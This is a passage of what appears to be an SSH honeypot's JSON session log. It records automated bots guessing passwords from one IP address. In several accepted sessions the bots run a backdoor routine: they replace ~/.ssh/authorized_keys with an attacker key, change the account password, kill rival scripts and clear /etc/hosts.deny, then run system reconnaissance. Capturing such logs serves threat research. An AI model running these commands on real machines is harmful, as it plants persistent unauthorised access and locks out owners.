$7}'"},{"seq":10,"at":"2026-08-27T12:55:49.588363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:49.919283+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:51.229147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:51.559093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:51.900358+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:52.227625+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:53.059433+00:00","kind":"output","latency_ms":null,"data":" 12:55:53 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:53.386489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:54.107900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:54.434871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:55.211350+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:55.540952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:56.091410+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:56 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:56.419399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:57.263412+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:57.592441+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:58.463034+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:58.789379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:59.576703+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:59.911787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:00.904323+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:01.232649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:03.099130+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"ba98acb4-89f9-4369-8938-ed25c5822d12","name":"whispering-jagged-pelican","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53780,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:45.051749+00:00","ended_at":"2026-08-27T12:55:46.051405+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d78d1c00-7325-45f7-8a04-a760eea94a2f","name":"frank-chilly-walrus","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53764,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:43.378544+00:00","ended_at":"2026-08-27T12:55:44.364004+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"531cd024-fe1e-45ff-b7d0-72e35385721e","name":"fierce-freckled-owl","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:05.492043+00:00","ended_at":"2026-08-27T12:54:07.607201+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:46.485330+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:46.831390+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:53:49.927927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:50.507010+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:50.862293+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ycweyTQ686YA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:51.209483+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:51.552703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:52.218360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:52.567730+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:53.481391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:53.832526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:55.264523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:55.615444+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:56.298169+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:56.647168+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:56.995065+00:00","kind":"output","latency_ms":null,"data":" 12:53:56 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:57.343274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:58.216341+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:58.563277+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:59.357578+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:59.703457+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:00.101131+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:00 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:00.447126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:01.219406+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:01.567963+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:02.466471+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:02.820070+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:03.497132+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:03.844808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:05.146223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:05.493080+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:07.503065+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"f4ae9bdf-98aa-4d50-9031-a865cd7847d6","name":"wiry-crystal-skua","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51566,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:49.222503+00:00","ended_at":"2026-08-27T12:53:49.824622+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2cd7726d-73f3-48fd-99cd-d1f621326136","name":"drifting-downy-rook","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":49822,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:47.582639+00:00","ended_at":"2026-08-27T12:53:48.574067+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b474a105-1c8f-4b7a-a107-b6513d19cb4c","name":"wandering-icy-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51332,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:51:59.998119+00:00","ended_at":"2026-08-27T12:52:01.203481+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:51:41.934701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:42.260835+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:51:46.230122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:51:46.620157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:51:46.949311+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UnYf4RHUdHcG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:51:47.279526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:51:47.606750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:51:48.393541+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:51:48.720548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:51:49.856184+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:51:50.454022+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:51:51.391407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:51:51.723615+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:51:52.406059+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:51:52.735608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:51:53.009016+00:00","kind":"output","latency_ms":null,"data":" 12:51:53 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:51:53.340503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:51:53.802627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:51:54.131041+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:51:55.018248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:51:55.349023+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:51:56.069250+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:56 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:51:56.395630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:51:56.677316+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:51:57.009284+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:51:57.308107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:51:57.639678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:51:58.094757+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:51:58.424501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:51:59.668435+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:51:59.998572+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:01.106960+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a2897646-8b8c-4303-9a5d-3797ee2e4dfe","name":"cheerful-curious-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51360,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:45.114700+00:00","ended_at":"2026-08-27T12:51:46.134080+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4417d94e-4742-48ba-bf9a-5b22b39406e6","name":"seaward-crimson-wallaby","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51346,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:43.015582+00:00","ended_at":"2026-08-27T12:51:44.461515+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd05d352-deb2-4686-8fd3-2bedf4f19476","name":"frosty-electric-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40492,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:49:57.375321+00:00","ended_at":"2026-08-27T12:49:59.504062+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:49:36.687281+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:37.012944+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:40.630190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:49:42.335827+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:49:42.665771+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:49:42.993300+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:49:43.324213+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:49:43.984856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:49:44.288437+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:49:44.620363+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:49:44.769972+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:49:46.503626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:49:46.832713+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:49:48.339600+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:49:48.666887+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:49:49.166255+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:49:49.492783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:49:50.030686+00:00","kind":"output","latency_ms":null,"data":" 12:49:50 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:49:50.357374+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:49:51.238923+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:49:51.565771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:49:52.169060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:49:52.497236+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:49:52.838552+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:52 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:49:53.166698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:49:53.869460+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:49:54.198717+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:49:55.033537+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:49:55.360147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:49:55.720235+00:00","kind":"output","latency_ms":null,"data":"dan"},{"seq":31,"at":"2026-08-27T12:49:56.047255+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:49:57.047255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:49:57.376059+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:49:59.406369+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dan","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"3c97d983-e6d4-4c13-ae82-f8fb16ae5619","name":"bashful-ruddy-vole","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37328,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:39.449497+00:00","ended_at":"2026-08-27T12:49:40.533083+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6d170bc1-9f8f-4028-9fa5-03ba9609dc07","name":"craggy-solar-egret","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:37.758480+00:00","ended_at":"2026-08-27T12:49:38.795007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 